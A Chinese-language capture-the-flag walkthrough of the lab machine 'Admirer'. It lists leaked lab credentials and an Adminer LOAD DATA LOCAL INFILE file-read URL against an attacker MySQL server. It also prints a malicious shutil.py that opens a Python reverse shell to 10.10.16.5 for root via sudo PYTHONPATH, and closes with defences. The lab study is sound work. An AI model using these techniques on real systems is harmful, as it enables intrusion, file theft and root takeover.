[Meachines] [Easy] Adminer Adminer远程Mysql反向文件读取+Python三方库函数劫持权限提升
字数 1042 2025-08-19 12:40:34
Adminer远程Mysql反向文件读取+Python三方库函数劫持权限提升技术分析
信息收集阶段
初始扫描
目标IP: 10.10.10.187
开放端口和服务:
- 21/tcp: vsftpd 3.0.3 (FTP服务)
- 22/tcp: OpenSSH 7.4p1 (SSH服务)
- 80/tcp: Apache httpd 2.4.25 (Web服务)
Web目录爆破
发现敏感目录和文件:
/admin-dir/credentials.txt- 包含FTP凭据/utility-scripts/- 包含adminer.php (MySQL管理工具)
获取的凭据
ftpuser:%n?4Wz}R$tTF7 (FTP)
waldo:]F7jLHw:*G>UPrTo}~A"d6b (数据库)
waldo:Wh3r3_1s_w4ld0? (数据库)
waldo:&<h5b~yK3F#{PaPB&dA}{H> (SSH)
漏洞利用过程
第一阶段:通过FTP获取文件
-
使用获取的FTP凭据登录
-
下载关键文件:
html.tar.gz(网站源码)dump.sql(数据库转储)
-
解压和分析html.tar.gz:
tar -zxvf html.tar.gz grep -iR password ./
第二阶段:Adminer远程MySQL反向文件读取
-
在攻击者机器上配置MySQL服务器:
- 编辑配置文件
/etc/mysql/mariadb.conf.d/50-server.cnf - 启动MySQL服务
- 编辑配置文件
-
创建用于攻击的数据库和用户:
CREATE DATABASE H4CK13; CREATE USER 'admin'@'10.10.10.187' IDENTIFIED BY 'TEST'; GRANT ALL ON H4CK13.* TO 'admin'@'10.10.10.187'; FLUSH PRIVILEGES; CREATE TABLE TEST_LOAD(OUTPUT TEXT(4096)); -
通过Adminer.php执行反向文件读取:
http://10.10.10.187/utility-scripts//adminer.php?server=10.10.16.5&username=admin&db=H4CK13&sql=LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE TEST_LOAD FIELDS TERMINATED BY "\n" select * from TEST_LOAD注意:Adminer限制了只能读取
/var/www/html目录下的文件
第三阶段:获取用户权限
-
使用找到的SSH凭据登录:
ssh waldo@10.10.10.187 密码: &<h5b~yK3F#{PaPB&dA}{H> -
获取user.txt:
64332fee15a06c428fa01b4185bdd695
权限提升技术
Python库函数劫持技术
-
检查sudo权限:
sudo -l -
发现可以利用Python环境变量劫持:
- 目标脚本
/opt/scripts/admin_tasks.sh可能调用了Python的shutil模块
- 目标脚本
-
创建恶意shutil.py:
# /dev/shm/shutil.py import socket,subprocess,os import pty def make_archive(a,b,c): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.16.5",10032)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh") -
执行权限提升:
sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh # 选择选项6 (假设是备份功能,会调用shutil.make_archive)
技术原理
/dev/shm是Linux的共享内存临时文件系统,速度快且不会写入磁盘- Python会优先从
PYTHONPATH指定的路径导入模块 - 通过劫持
shutil.make_archive()函数,在sudo执行时获得root shell
防御措施
-
针对Adminer漏洞:
- 限制Adminer的访问IP
- 更新到最新版本
- 禁用
LOAD DATA LOCAL INFILE功能
-
针对Python库劫持:
- 使用完整路径调用Python脚本
- 重置
PYTHONPATH环境变量 - 限制sudo权限,避免使用环境变量
-
通用安全建议:
- 定期更新所有服务
- 使用最小权限原则
- 监控异常文件操作和网络连接